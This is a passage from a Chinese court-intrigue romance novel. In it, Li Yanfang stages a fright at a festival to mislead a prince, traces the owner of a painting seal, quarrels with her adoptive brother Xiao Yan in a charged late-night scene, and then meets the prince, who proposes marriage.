这一次,太后与少帝并未亲临,所以大赛流程稍稍作简。
此刻大赛还未开始,波光粼粼的金澜池上正在表演精彩纷呈的水秋千,鼓乐声震耳欲聋,池畔的百姓游人争相挤至朱栏边,喝彩声此起彼伏。
穿过熙攘人群,李宴方与她的侍卫来到画栋飞甍、彩绸翻飞的看台。
看台本是为达官显贵而设,但此时既是与民同乐的良辰佳节,看台自然是人来人往。
李宴方突然觉得李攸不会出现在这里,他不喜欢“与民同乐”,但她仍是左顾右盼,寻觅着人影,她对书画一事毫无回应,不知李攸是否心急如焚?
“宴娘!”
吵嚷鼎沸的人声中有一声呼唤格外清晰,带着久寻终得相见的喜悦。
李宴方于人群中回过身,唇边笑意浮现,倒也没白跑一趟。
女子笑颜光绽,李攸心里对她的担忧、思念,甚至是怀疑,悉数在那一瞬间落下,充满谋算的脑海中只有风平浪静的一刻。
他急切地奔向她,甚至忽略她身后那一位带着凶神恶煞面具的侍卫,鬼面侍卫出现在这驱邪攘灾的端午里,并没有几个人在意。
然而侍卫的眼中却渐渐结起夏日冰霜。
“多日未见,宴娘可还好?”
“承蒙……郎君记挂,那些书画……”此处游人如云,她没有暴露他的身份,但在话未说完便被打断。
“郎君”二字在李攸心中打转,他得到一个新的称谓,品咂着这其中微妙的情感变化。
李攸面露喜色,几乎要过来牵她的手:“借一步说话。”
但他蓦然发觉此举无礼,便乖乖地背着手,颇为尴尬地朝着亲随所寻觅的僻静处而去。
李宴方不紧不慢地跟在后头,世安紧随其后,面具下藏着一张微怒的容颜,他想,阿姊似乎也挺高兴,为什么?
看台豪阔宽广,外有富丽栋梁,内有高雅陈设,一张巨幅屏风出现在必经之路上,李宴方悠哉游哉地走过,她忽然瞥见屏风上的画作。
作画之人笔力精深,山石嶙峋,猛虎出林,那猛虎虎牙尖利,前爪宽大沉实,栩栩如生,仿佛下一瞬便能越出屏框,杀入人群。
女子尖叫声乍然响起!
李宴方面对屏风上那一头假虎,脸色大变,她踉跄退步,捂住双眼,全身发抖。
她毫不意外地跌入一个可靠而熟悉的怀抱,但她仍是未睁眼,继续演着被画中虎吓得魂飞魄散的戏码。
人人都该知道,她在大猎中受到惊吓,而为救她于水火的萧偃如今生死不明。
李攸最先回过身,他瞥见一侧的屏风,心中明了,不由得涌上一分怜惜心疼。
被蛇咬过之人,遇到井绳也会胆裂魂飞,细蛇尚且如此,猛虎余威几何?
李攸大步迈上前,准备扶起“腿软”李宴方,可她身后那名侍卫动作更快,已经将她虚揽在怀中,而“受惊过度”的李宴方颤抖着身躯,埋头在他胸口,仿佛把侍卫当作唯一的倚靠。
藏在面具后的眼肆意释放着敌意的光芒,世安敏锐地捕捉到李攸那一份真心实意的心疼,可他有什么资格心疼?
李攸终于注意到李宴方的侍卫,亲随曾向他禀告过,大猎之后侯府中便出现了这么一位极为不知礼数的人物,就如同现在,居然在众人面前大剌剌地揽着他的主子,罔顾男女之别。
他到底有何来由?
当真是萧偃所派?
可李攸很清楚,萧偃对自家阿姊极为在意,怎么能容许一个蛮横莽夫跟随在李宴方左右?
他的背后究竟是谁?
李攸眉头一紧,环顾四周,游人被尖叫声吓到,纷纷看向李宴方,又看向画中猛虎,似懂非懂地走开。
人影渐散,李攸平复心情,行至李宴方跟前,视侍卫于无物:“宴娘……”
没等到李宴方的回话,一阵如沙哑低沉的声音传来:“主上受惊,小人这就带您回府。”
世安不等李宴方的允许,更不顾李攸的眼神中的阻拦,他长腿迈出,揽着李宴方便要往回走。
李攸的侍从见同为侍卫之人竟然敢目无尊上到这等地步,他喝道:“大胆!”
可世安仍是一路向前,只怕这一声怒喝当作耳旁风,而仍处于惊骇之中李宴方更是无从拒绝,就这么由着他将她带走。
李攸黑瞳凝沉,缓缓伸出一臂,阻拦侍从。
他看见那名戴面具的侍卫喉结下有一抹极其淡的脂粉,恰与李宴方面颊上的脂粉一模一样,可方才李宴方几近跌到,又低头远避屏风,脂粉无论如何都不会碰到那人的喉结。
怎么会?怎么会!
细想李宴方的无助随行,以及侍卫强势把控,李攸心里突然冒出一个惊天动地的猜想,这让他牙关紧咬,双拳紧握。
他的计划彻底被打乱了。
熟悉的身影彻底消失于人群之中,恰是此时,锣鼓喧天,金澜池上的龙舟争渡打响,看台位置极佳,游人们再度涌上来,彻底掩盖掉方才发生在此的一桩小意外。
*
“我方才是灵机一动。”
侯府东院的丫鬟都被屏退,萧偃横抱着李宴方,悠闲从容地走回。
“我也是灵机一动,”面具下传来低笑,“阿姊不必交代,我便知道你想做什么。”
任何人都不及我与你最默契,你知道吗,阿姊?
任何人,当然包括李攸。
“不知道这件事会被多少双眼睛看去,越多才越好。”李宴方在心里拨弄着算盘,演得那么真,可不能只让李攸知道。
进入屋内,萧偃放下她,转身关上房门,摘下面具:“李攸当是真的相信了,你那么害怕,他那么心疼——”
末音拉得那般长,就像狐狸断不掉的尾巴。
他放置好面具,去净了手,坐在桌旁替她斟茶。
李宴方轻嘲:“你在阴阳怪气什么?”
萧偃眉目渐深,他看到的可不只是李攸的心疼,阿姊在他怀中“躲避”时,李攸那双藏着许多秘密的眼中分明还有震惊与愤怒。
可李攸没有资格心疼,更没有资格愤怒。
萧偃冷言:“没名没分的醋吃起来最酸。”
“你很有经验?”反问的李宴方托起他的下巴,叫他直视自己。
脸颊上传来五指柔软的触感,连同她独特清淡的气息也一道包围着他,他贪恋地、痴迷地享受着她的垂问、她的调侃,心头那一点不悦瞬间烟消云散。
微阖的眼中,黑瞳明光凝成一点,逐渐闪烁,他释放出眼神迷离的信号,手中的茶杯被他不动声色地放下。
“啊——”
李宴方在毫无防备中迅速地转个身,被他拉入怀中,坐于腿上,他轻触她的额头:“当然,我吃了至少三年,阿姊打算怎么补偿我?”
咽喉是很脆弱的一个要害,可他无所顾忌地向她敞开。
她手指上有细细的茧,像飞鸟,掠过春梢绿柳,不作停栖;又像蜻蜓,寻觅一汪水泊,留下浅淡的痕迹。
萧偃无法自控地吞咽,喉结滚动。
“有点糟糕哦。”耳边传来李宴方故作讶异的惊叹,好近。
李宴方睁大双眼,脸上有刻意伪装出的六神无主:“这里有脂粉,不会被李攸瞧见了吧?他走得那样近……”
手指轻点细腻的粉末残留处,刹住话头。
她低下头,长睫轻颤,眼神
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飘忽,心头冒出一股偷情被抓正着的羞怯以及……暗爽。
道德水准忽高忽低,坦然承认自己很喜欢这一份越轨背德,似乎也不是什么特别艰难的事情。
呼吸的热意钻入耳窍,他贴近,蛊惑般喃喃:“李攸发现了。”
临别之时李攸的眼神,太过震惊,这是藏不住的讯息。
既是震惊于李宴方与侍卫不可告人的关系,更是察觉舞阳侯府内权力结构变化的可能。
李宴方了然,书画中的机密可由不得李攸继续捏在手上,他若要求变,一定会把要事抛出。
接下来轮到她落子了。
*
赵凝清果真是把姐妹的拜托放在心上,端午次日她再度登门,李宴方亲自前往迎接。
书房内,赵凝清将家中收藏的灵章郡主真迹取来:“我祖母的收藏,如假包换,待给你看过我就要悄悄送回去。”
“让你在自个儿家里做贼,都是我的不是,改日请你一顿山珍海味。”李宴方真心实意地感谢,若不是她,只怕这一步核实还要再多费些功夫。
“听闻你昨日于金澜池受到惊吓,不要紧吧?”
李宴方讶然道:“你知道了?还是许多人都知晓了?”
赵凝清拉着她安慰道:“昨日成洲去当龙舟划手,而维护园内秩序的又是禁军同僚,他听闻后便将此事告知于我,想来这件事知道的人也不少。宴宴,你那日真的被吓坏了,要不要我晚上留下来陪你?”
赵凝清真心忧切,竟然连陪她过夜的打算都做下,这叫李宴方羞愧难当,她低眉支支吾吾道:“叫你白白担心一遭,那都是我装的。”
“啊?”赵凝清震惊不已,连连拍打她肩膀,“你真是!坏透了!可你怎么装得那么像,连负责比赛的官员都担心自己因为‘布置看台不当引发骚乱’而受到牵连!你竟然是装的!”
李宴方赶忙快步绕至书案另一侧躲避。
赵凝清停下,恍然大悟:“送礼示爱的是宋王李攸,他‘恰巧’在龙舟争渡时遇见你,而你要设法拒绝,看到屏风就戏瘾大发是不是?”
书案对面的人连连颔首:“聪明绝顶。”
只余其中涉及的大猎后续影响,李宴方不便明言。
“原来是这样,如今谈婚论嫁亦言两情相悦,宋王身份不凡是好,可若是你不乐意,被他盯上反而是一件麻烦事,容易得罪。”
赵凝清干脆展开画作:“先看看所赠之礼是否赝品。”
百川入海乍然冲入眼帘,浩浩荡荡、蜿蜒千里的大江大河奔流东去,观画之人仿佛能被千万条江流咆哮呼出的水汽打湿双眼,能被奔腾的浪潮荡涤尽胸中沉积的郁结之气。
李宴方先是愣怔,被笔墨气象所摄,随后开始寻找印鉴的痕迹。
赵凝清讲述画卷背后的故事:“这副画据说是郡主少年时所作,意气澎湃,祖母为了收藏它也花费些心思,据我祖母得意时流露——后来世上鲜少有类似气象浩大的灵章真迹出现。”
“缣、缃、堂。”
李宴方目光锁定画卷落款处完整的暗红印鉴,与其先前所见别无二致,如此可断定李攸所赠之物确实为灵章郡主与友人往来遗存。
她不由得呼吸加速,心跳加剧,不知道是受画中恢弘气韵所影响,还是心底那个猜测再度得到佐证的依据。
“那……你可知这位郡主有哪些至交好友?”
“据我祖母与母亲说,那时京中大家小户的闺秀均与她相熟。”
“那看来,郡主当真是个交游广阔之人。”
可灵章郡主真是娘亲吗?在她的记忆中,娘亲喜静,常闭门不出,若真是娘亲,她性情大变,究竟是因为什么?因为夫君的“死”?
将赵凝清送出侯府后她便魂不守舍,猜测着郡主那位挚友的身份,突然一个瞠目结舌的想法凝结于脑海中。
60. 咬人
李宴方将自己关在书房内,李攸送来的书画再度被展开,她的眸光凝于那几座墨迹小山上。
执掌天下权柄近二十年的太后陛下,姓冯,讳峨。
山峨巍巍,冠绝浮云。
李宴方早该想到的!
太后在她与陆韫之结亲时送来重礼,其中最为耀眼的便是一对如意,如意除开镶嵌多宝,华丽富贵,更有“顺心如意”的美意,这就不仅仅是寻常赏赐了,更有一份祝福藏在其中。
过去,李宴方一直以为这一份重礼是看在陆朴的面子才赐下,原来有没有可能真是因为自己?
太后不知陆家有反心,但鄂国公府有陆朴的功勋和陆韫之的坚持,她认为这也算一桩“门当户对”的良缘?
及至萧偃凯旋,太后封赐他侯爵,更是越过他父母祖辈,逾规地封赏她这个义姊为乡君,朝野上下只知太后宽仁大方,重爱名将。
如今李宴方猜测,这一道“顺手为之”的封赏是不是因为母亲的缘故?
灵章郡主为桓太子后人,桓太子战功赫赫但子孙人丁稀少,对于仅剩的一根独苗儿李宴方,就算是不能对天下昭告她的出身血脉,也要借着封赏萧偃的机会给一个名号。
而后大猎受伤,李宴方施展苦肉计面见太后,太后愤怒与怜惜之意明显,更是赐下许多灵药补品。
这一切都是因为太后心知李宴方是故友留下的唯一血脉,故而在悄然无声处关怀备至?
李宴方过去的疑惑皆在此时被解开,可更大的疑云将她笼罩,当年之事究竟真相为何,彻底改变了如此多人的命运?
李攸这时候将旧事从光阴尘埃中翻寻而出,究竟又想做什么?他这一出戏码,针对的是太后?
*
自金澜池畔的一出作戏之后,萧偃重伤不愈的流言甚嚣尘上,张静真前来替李宴方梳头,将她这几日打探到的消息禀报。
张静真也开始怀疑起流言的真实性,毕竟自大猎之后,萧侯一直闭门不出,不说飞捷大营,甚至连朝会也因病缺席。
她不敢多瞧李宴方的容色,若是萧侯真有个三长两短,李宴方当是最心知肚明的人,她既担忧在李宴方脸上看到畏惧惶恐,又担心自己不小心窥探到什么不该知道的秘密。
幸好李宴方没有就萧侯安危的消息继续追问,她提起另一事:“听说北戎有了新动静,他们遭逢旱灾,内部生乱,需要我们的物资支援。”
太后先前提出出兵相助,相当于把那木拓当作质子,太后应是对大猎之事不满,怀疑到那木拓头上,干脆一招废了他。
可那木拓在此局之中多作周旋,保住自己北戎出使话事人的唯一地位,再度提上新策,让北戎捆缚多次劫掠大晟边境的将军前来赔罪,以获得物资补充。
这背后必有北戎内部斗争的影子,北戎王庭趁着有人叛乱,杀鸡儆猴,清除暗钉,以稳定大局。
张静真早已得到要盯住鄂国公府的消息,一直兢兢业业,暗中观察。
“朝廷决定北上驰援物资的事情已定下,将要派出人马运送米面布匹粮草等物,恰是这一段时间,陆家城西那位外室的宅子里,陆二公子往来频繁,但除开陆二之外,并无旁人出入。并且外室也甚少再寻卖婆与梳头娘子,我们的人也鲜少能接近。”
“此事极为异常,过去那位外室貌似尤为得宠,花钱堪称如流水,这时候就似变了性子一般,对刺绣珠宝香料之物丧失了兴趣。”
李宴方沉思后道:“这必然是涉及他们的机密,你们最近小心些,若是对方不欢迎,就不要再接近,要不然不仅打草惊蛇,还会身陷险境。”
张静真离开后,李宴方行至书房,拿出李攸派人送来请柬,她邀请自己前往溪上垂钓对弈。
李攸太心急了。
李宴方唤来紫电,吩咐他:“派出亲卫暗中打探城西陆家外室住宅。”
为何频繁出入,陆怀真是急色之人?
然而陆朴与那木拓显然有了新计划,陆怀岂敢在这关键时分寻欢作乐?
除非那一处宅院本身就不是供养外室之所,而是另有他用。
紫电应是,李宴方还有一事:“还有,朝廷要以物资支援北戎派出多少人马,你们知晓吗?”
“尚不清楚,稍后回禀。”
李宴方点点头,此事紫电不知,说明萧偃也不知。
是军中机密,还是这一支人马别有安排?
人已经离开,书房内只剩李宴方,她食指落在请柬上,一嗒一嗒敲着。
去还是不去?
去的话未免太显眼,城中流言纷纷,各方都想探听萧偃的消息,她的一举一动饱受关注。
若是去,也不能悄悄去,否则一旦被发现,岂不是要以为她和李攸在密谋什么,要是李攸真的有反意,自己不也成了反贼?
可要是不去的话,小山真的是太后吗?
她又该怎么试探出李攸所求为何?
如何先下手为强?
李宴方这么一思忖,弦月便悄然爬上梢头,夜色弥漫。
她终是吩咐下去,明日备车马,前去赴约。
两刻钟后,她洗浴完毕,独自坐在镜前,手指绞着沾染馨香的青丝。
烛光在夜风中轻轻摇晃,窗棂外突然传来悉悉索索的动静,有人翻窗而入,打断她的思绪。
“你不睡觉来做什么?”脚步声出卖了来人的身份,她甚至没回头,“你来的时候没人发现吧?”
这话不问还好,一问就让氛围变得奇怪,像在偷情,并且偷得很熟练。
“你明天真要去?”萧偃问。
宅子里的事情不可能瞒得过他,何况她也不打算瞒,她起身反问:“你觉得呢?”
“这件事还是太危险了,很容易被认作李攸的同党。”
兵符仍在萧偃手中,若是他本人静养且闭门不出,他的阿姊四处交游,极有可能被认为是她替萧偃暗中传讯,甚至是结党营私。
加之,对方为亲王,岂不是要被扣上谋逆的罪名?
“其实这些我也考虑过,李攸敢大张旗鼓,无疑也把自己暴露于太后面前,他自己才是首当其冲的,倘使他要暗谋大事,必不可能在此时自掘坟墓。”
依她之言,虽是兵行险着,但不会太过危险,她的意思就是还要赴约。
萧偃分不清他究竟是忧心多一些,还是醋劲多一分,双手扶住她垂下的臂膀:“他费了那么大的功夫寻觅郡主真迹,引你上钩,你就不担心,他想借此窃取兵符吗?”
起事最不可或缺的就是人马,李攸还没有人马,所以盯上了阿姊,萧偃毫不留情地怀疑,最初上元夜的“偶遇”也是一场精心策划的相逢。
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“不去了好不好。”
他的声音软下来,带有几分哀求。
“可是,我对小山的身份实在是好奇。”
李宴方在摇红的灯影下微微抬首,凝望他漆黑水润的眼,她还没告诉他自己对与小山即是太后的猜测,她要先印证。
她颇有几分坚决,萧偃太明白她的脾性,这种时候她吃软不吃硬。
他道:“我不想让你以身犯险。”
夏夜的中衣单薄,一经相拥,体温就透过丝棉,涌入对方的海。
“不会的,你要相信我能保全自己。”李宴方不仅有把握,还有经验。
未宣之于口的思绪仿佛相通,那一缕思绪变成铁打的钩,钩起萧偃心底的愤懑。
“不,不能去,我不要你在他面前虚与委蛇,委曲求全!”
同样在一个黑夜里,即将死去的鄂国公府书童在萧偃面前得意地流露出对她的淫邪蔑视,以及践踏的迫切渴望。
一个下人胆敢如此轻蔑主上,绝对是得到陆韫之的授意。
管中窥豹,萧偃可以想见她那几载的公府生涯中过得有多么不称心,多么不如意,吃了多少苦,受了多少罪,遭了多少白眼。
萧偃绝不能让她在陷入相似的境地,他拥紧她,仿佛下一刻她就会不慎再度滑入深渊,他却来不及拉住她。
那时萧偃不在她身边,她孤立无援,苦苦支撑,而今他归来,绝不容许他的阿姊再涉险境。
骨骼在暗夜里发出声响,传递着萧偃的忧心关切与难以释怀的愤怒。
“我不会有事的。”在她眼里,他应该相信她才对,难道他又是在吃醋?
这一句话温柔得像是哄骗,火上浇油,他低下头,几乎是咬着她的耳廓:“你总是这样,不知道是自大自负还是热爱冒险,龙潭虎穴也敢闯,受了伤也浑不在意地安慰自己——已得虎子。”
她就是个好了伤疤忘了疼的人,可她现在该知道,他也是会跟着痛的,甚至比她更痛。
“可我求你,求你在乎一下我好吗?”
堂堂男儿,摇尾乞怜,似被李宴方逼上绝路。
腰上的力道加重,彼此之间再无一点空隙,李宴方长吸一口气,质问中有愠怒。
“可你还有什么办法套出李攸所想,得知小山身份?查了那么久,你查到了吗?李攸若是以此为诱饵,会轻易让你查到么?”
他的问话反而打消掉李宴方最后一点犹豫,这件事不能再拖下去,如今那木拓和陆家已有异常,绝不能错过眼前时机,否则就会陷入被动,岌岌可危。
耳畔传来的字字沉重,暗藏乖戾:“你在怪我无能?”
李宴方费力地想挣脱萧偃的怀抱:“是你先说我自大的!放开!事已至此,没有人可以阻拦我。”
萧偃不理会她的挣扎,反而将她抱得更紧,屋内突然出现了一所囚牢,把她困在其中。
“啪!”
李宴方放弃挣扎,扬起手掌,朝他因怒气而涨红脸颊扇去。
清脆响亮而耳光像是边塞直上的狼烟,双方小心翼翼维持和平就此打破。
胸中怒火被指责和质疑的火油浇个透,更加上一把不被在乎的干柴,火势燎天而上。
他将她紧紧压向胸膛,低头,扯下轻薄的中衣,狠狠地向她光洁的肩头咬去!
61. 翻窗
犬只忠诚乖顺的时日久了,差点让养犬人忘记,他本是狼,会露出獠牙,会发疯癫狂,会犯上作乱,会在黑夜里撕咬她,品咂她的血肉。
让她见识他真正的野蛮疯魔和无药可救。
彻底点燃的怒火和突如其来的恐惧吞噬掉李宴方的理智,她不想去解释选择赴约的缘由,也不想再以温声软语去疏离放松他心头缠绕的死结。
她想摧毁,想同归于尽。
她本就与他一样,都是擅长伪装的疯子。
忍着肩膀上的湿热与切肤之痛,她在黑暗中摸索着萧偃的衣带,一把扯下他的中衣,狂躁地甩在身后,也毫不示弱地朝着他的肩头咬去。
以牙还牙,以眼还眼,这一瞬间李宴方甚至在想,他的伤还是好得太快了,要不然哪里容得他现在的放肆?
非打得他求饶不可!
萧偃肩头的痛感袭来,随之而往的一股难以描摹的湿热潮意。
越疼痛,越畅快,眨眼间就变成淋在癫狂烈焰上的一壶陈酒,酒香卷着烈焰,烧遍他的四肢百骸,把他烧得直欲升天。
诡异而极致的新奇体验甚至让他松开利齿,低声呻吟。
可李宴方没有因此而收缓攻势,牙关仍死咬他不放,贝齿之间,柔舌有意无意地碾过他的肌肤,明明该是气势汹汹的进攻,却暗藏一分不合时宜的热湿绮念。
痛与柔的交织转瞬即过,奇异爽快的感觉源源不断地刺激他,简直叫他无法思考,冲击之下他又在她肩头寻找到一处下口的绝佳之地。
没有半分怯意退意。
背后传来她的呜咽之声,她很痛吗?
他尚未用尽全力。
钻心痛感成了李宴方酣战的号角,在她眼里这已是一场要决出生死的战役。
热意从她后背的肌肤上渗出,点点汗珠缀结成川流,化作奔腾的千军万马,驰骋呼啸,让广袤原野颤动不休。
震颤之下,欲将他推倒地双臂因此而不住地发抖。
但萧偃显然也在一片兵荒马乱中失了阵脚,下盘不够稳健的萧偃被她推出三五步,向后栽下坐在榻上。
李宴方肩头的獠牙被拔除,得了喘息之机,她便趁萧偃尚未重整旗鼓,给他敞露的胸膛来了一拳,随后一把将他按倒在榻上,以伏跪的姿势将他牢牢锁于身躯之下。
修长的手指卡在颈部,感受着脉搏跳动。
时间仿佛静止在这一刻,脑海中的回忆趁虚涌入。
幼时姐弟二人掐架,她年岁长,女孩子长得也快,常常将他打得满地找牙,她骑在他身上耍威风不知多少次。
但是到了他十几岁的时候,开始抽拔,她高挑的身形再也不能占据优势了。
加上二人渐渐懂事,也不会起什么要靠打架斗殴来解决的冲突。
但这时候的情形与以前大大不相同。
进入似真似假的休战中,两人心头的愤怒都未曾在这一场还未决出生死胜负的战役中消散。
一番推搡打斗,她被扯下一角的中衣已然大敞,内里小衣露出大半,可久违的打斗营造的兴奋刺激遮掩掉她心头的羞赧。
四目相对之下,二人喘息连连,藏在胸口里的心脏竟然剧烈地以相同的频率跳动着,简直成为二人不愿意认下的默契。
此番情景他都看到了,就像她将他宽阔起伏的裸露胸膛尽收眼底一样。
胸膛上水雾朦朦,在微曳的火光中泛着粼粼的光晕,就像久旱之后风里那点水气,引起草木对潮湿雨季的全部向往和狂热奔赴。
这当真是明目张胆的引诱与魅惑。
电光石火间,一道惊雷闪过李宴方的脑海,她的怒气,应该通过另一种方式排解掉。
她轻喘着直起身,干脆地脱掉歪斜零落的中衣,再一只手轻抚那幅身躯上起伏澎湃的浪潮。
触碰至的那一瞬,脑袋里仅存的最后一点理智,成了归涌至那一片浪潮的溪流,彻底地远离她,奔走千里而去。
“做不做?”她鬼使神差地问。
可话一出口,悔意就袭来,这时候要是把灯烛全灭该有多好,无人可见她羞且悔的红颊。
但不灭也有不灭的好处,她伏地身子,喘息的气流就快能洒落至他的肌肤,流动的青丝直溜溜垂下,有意无意地拨弄着他心头的那根弦。
萧偃宁愿此刻听不明白这句直白露骨的询问是什么意思,他的呼吸更为急促,心跳的节奏彻底被打乱。
心脏就像失去了控制,跟着撞乱他的巨鹿,乘风奔驰,在他的身体里到处乱窜,让他又急,又燥,又不知所措。
那一碰夹着乱七八糟情绪,轻易地点燃的心头无名火,突然地被随着一声惊雷而至的暴雨灭去所有威风,只剩下一股垂头丧气的黑烟,朝天冲去,诉说着难以排遣的郁闷。
阿姊她……她怎么可以不按常理出牌!
明明就应该跟他坦坦荡荡地促膝深谈,把各自最在意的地方,摊开来,讲明了,而不是借着怒气上头,问他这种问题啊!
其实她一直暗示过他对不对,她早就说过——“这能一样吗?”
可是,现在……现在可以吗?
萧偃避开她炽热直接的眼神,神游天外,至少应该先定下婚约吧?
如果陈规旧礼可以弃之不顾,那也应该讲究一个花前月下、水到渠成吧?
而不是真真打架直接打到床榻上。
诚然他也渴盼关系更进一步,但就是回答不出那个“做”字。
字眼堵在喉头,上也不是,下也不是。
李宴方的注视着跳动的烛火,把目光锻造成锋利的戈矛,修长且尖锐,居高临下的朝他刺下,伤得他鲜血淋漓,疼得让他简直想当一回逃兵!
萧偃大口地喘息着,突然伸出肌肉流畅的双臂揽过她的腰肢,继而腰胯向上一抬,以反制敌人压倒的武学招式挣脱她的束缚,转而将她压在身下。
攻守之势异也。
方才李宴方将他微毫的变化尽数收入眼底,他的躲闪,他的羞愤,他的犹豫不决……就在她渐渐平息了呼吸,以为这事情今夜难办之时,他给她天旋地转地来了一出。
开窍了?同意了?
她正欲攀上他的宽肩时,他一把拦住她高举的双臂,飞快地下了床榻,丢下一句话。
“要做也不是现在。”
萧偃毫不拖泥带水地翻过窗户,简直是落荒而逃,丢盔弃甲。
在榻上的李宴方坐起身,无可奈何地盘曲起双腿,举起手来,颓丧地拍拍额头,长
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叹一声。
是他没准备好吗?
早知道不必询问直接动手,打一场突袭的胜仗,可比两军对垒互相斡旋后获得的胜利更值得回味细思。
夜已深了,李宴方起身,查看肩头的几枚牙印,深深印入皮肉,但幸好不曾流血破皮。
她到水盆架前打水擦拭肩头,打算换一身衣服后便去就寝,却再度听闻才刚走两步的人又翻窗回来。
李宴方抱着臂,疑惑不解地盯着窗户下的黑影。
那人一抬眼就撞上她探究的眼神,尴尬与狼狈瞬间窜上还未褪去红潮的脸。
萧偃交代也不是,不交代也不是,转而收拾起被她丢在地上的中衣,迅速披上,头也不回地又翻过窗户,消失在夜色中。
此时,屋内响起一阵经久不息的清脆低笑,笑声在夜色中追杀着逃窜的萧偃,久久萦绕在他心头。
“这人真是的……”李宴方摇头轻笑,环顾四周,幸好卧室宽敞,打斗之时没撞坏器具,省得让她收拾残局。
她从衣柜中取出一套干净的中衣和小衣,走至屏风之后,准备更换。
其实此时屋内无人,照清等丫鬟都晓得她的习惯,她不是时时要人伺候的贵主。
她是担忧窗口再翻入一人的事情发生。
但那句话说出之后,这些遮掩似乎也毫无必要了。
屏风后还是传来悉悉索索的穿衣声,直到汗湿的旧衣被丢入衣篓,她从屏风后走出,缓缓踱步至窗下。
确确实实再无人影,李宴方一声轻笑,吹灭烛火。
夜色蔓延,恍似黑深的潮水,一层层涌来,将安寝于床榻上的李宴方包裹。
幽暗无边无际,就像被挑起的某些念想,让她无从逃离。
其实她已进入清心寡欲的状态好些年头。
李宴方陆韫之成婚之初,彼此情浓,也共同度过一段佳期,可后来陆韫之因病疯迷,她自然是无法对一个令自己厌烦、憎恶、惧怕的人再度产生欲望。
哪怕陆韫之容颜如玉,身材颀长,有几分姿色,外在美貌终究是被性情恶劣打败,变得毫无用处。
李宴方不能接受自己梦中人是陆韫之,也没有精力再去捏造梦中情人地模样,于是渐渐地对那件事丧失兴趣。
后来,梦中人的身影变化,变成一幅熟悉又陌生的形象。
梦醒恍然大悟,原来那些不可告人念头从未消失无影,而是没有遇到称心如意的诱饵。
念与欲就深藏于看似平如镜面的心海之下,是一尾又一尾鲜活灵动的游鱼,等待鱼饵洒下,随时准备跃起翻腾,争夺诱饵。
其实这一片安静无澜的湖泊从未真正平静过,对么?
李宴方轻抚肩上的伤痕,那刺痛的感觉再度传来,绵绵密密,不息不绝,似如从高山源头一路奔涌至东海的河流,清越的溪流,汇天雨,吞百川,变作浩荡澎湃的大江大河。
潮汐起伏,一夜好眠。
次日,李宴方醒来依然决定外出赴约,她穿好夏衫,正欲唤来照清,看到妆奁中静静安放的长命缕,染着黛色的眉一挑,将长命缕拿起,毫不迟疑地系在腕上。
而后唤人前来梳妆,用朝食,趁着某人没反应过来,先一步离开府邸,前往玉带河。
62. 赴约
玉带河穿城而过,主干水道漕运繁忙,两岸商肆林立,但支流远离码头,河流深静,道旁垂柳如烟。
粼粼河湾处建有一座供游人百姓暂歇的六角小亭,亭外绿草如茵,芦苇蓼花在微风中摇摇晃晃,生趣勃发。
亭内棋盘上黑白纵横,纠缠不休。
“今日某邀宴娘一见,是为别离。”李攸于风中缓缓而道。
李宴方抬眼望去,对弈之人姿仪秀美,举手投足之间,清雅从容,叫人难以移开双眼。
出门赴约之前,他傅粉修容,特意妆饰了一番,他望着李宴方浮现不解的双瞳,再落一子。
“我近日收到亡母托梦,她于梦中对故乡的江花胜火、春水如蓝念念不忘……她少时离乡入宫,一别便是终生,再无缘得见扬州三月烟花。我为人子,自当全她心愿。”
“我已上表奏请,请求皇嫂准许我出阁前往江南,携带母亲旧物,葬于故乡。”
淡如初春烟柳的惆怅结于李攸眉眼之间,忧思流动。他的亡母陪葬于皇陵,永远无法迁葬回旧土,故此番折衷,也算孝心赤诚。
李宴方稍有触动,问道:“太后陛下同意了么?”
李攸绽颜而笑:“皇嫂已允,还下令让人在江南为我筹建一座府邸,作为赏赐,只是……”
他故作停顿,抬起眼,凝望对弈之人。
被卖了关子,李宴方不自觉地回望而去,等待他的下文。
四目相对之时,李攸面露迟疑,眼神躲闪,双颊悄然泛起红晕。
“只是,某的府邸还缺一位女主人。宴娘,至此一别后,山遥遥,水迢迢,不知何日才能再逢,故今日某唐突冒昧,在离京之前再作此请!”
李攸说完如释重负,紧张地把棋子捏在手中,两息之后突觉小动作不雅,慌慌张张地将双手置于石桌之下,藏于宽袖广袍内,起身弯腰作请。
在李宴方身旁替她摇扇的照清瞬间瞪大双瞳,手中的动作也不由自主地停下来。
在照清脑海中,“再作此请”四字成了鸡圈里四处奔逃的彩鸡,撞得篱笆摇摇晃晃。
照清早觉得这位宋王对她家乡君有些意思,但她震惊于宋王居然对乡君求过两次婚?!
萧侯知道吗?真知晓了不得用枪杆子把宋王串起来。
李宴方捻着棋子,她本以为李攸寻她是因为书画一事,但现在他显然在以退为进,想做什么?
难道她真的想错了?
因李攸询问婚姻大事,故而李宴方思而再思,李攸与其随从也不觉奇怪,静静等待她的回音。
“还请郎君坐下,我对郎君确有一二分好感。”她执子落下,波澜不惊。
李攸豁然抬首,喜上眉梢。
而恢复平静的照清心里的鼓又打了起来,怎么回事,难道乡君就这么色胆包天地脚踏两船?
若是来日萧侯审问她,她该怎么糊弄过去,替乡君遮掩?
可偏偏那人也不是个好糊弄的主儿。
正是照清一阵天人交战之际,李宴方缓缓开口。
“只是……”李宴方从棋奁中取出一枚子,“如我第一次回绝一样,你我尚未到谈婚论嫁的地步,若是先前所赠书画也是缘于此,那我只能得罪郎君一番,回去立刻让人将书画送回。”
棋子落入局中。
李攸面色渐暗,他并非不知他与李宴方之间情缘不深,但李宴方的回应大出意料。
在此之前,她并未动过还画心思,至少说明她收下李攸的心意,兴许更在研究其中的秘密,她一旦得知真相,必会站在自己一边。
且萧偃生死未卜,或许在太后眼中萧偃已是弃子废人,故而再派出手下“接替”,那棋子横行无忌,对她更是别有用心,这不像主仆的主仆二人同居于一屋檐下,男强女弱,何等危险她难道不知吗?!
她该松口才对。
故而,在今日李攸故意以别离之事再度提亲,是胸有成竹之举,不必在乎她有几分真情,但凡是出于趋利避害的天然本性,都应该答应自己。
难道他算错了何处?
可那侍卫明晃晃地对她无礼,这还能作假么?
可若不是太后在背后掌控全局,又有谁敢如此明目张胆地做那些事?
他悄悄打量起李宴方,赫然见她肩头披帛下方有几道印痕!
李攸面色铁青,遽然绕至石桌对面,隔着衣袖拉起李宴方的手,怒道:“得罪了,借一步说话!”
李宴方黛眉凝蹙,难道他听到自己还画,主动放弃追查小山这条线,恼羞成怒,迫不及待地把真相抖出来?
那可真是得来全不费工夫。
她思索再三,横下心,顺着他的步伐,二人快步行至河岸边的民居院外。
土坯矮墙,桑叶沃若,垂柳依依。
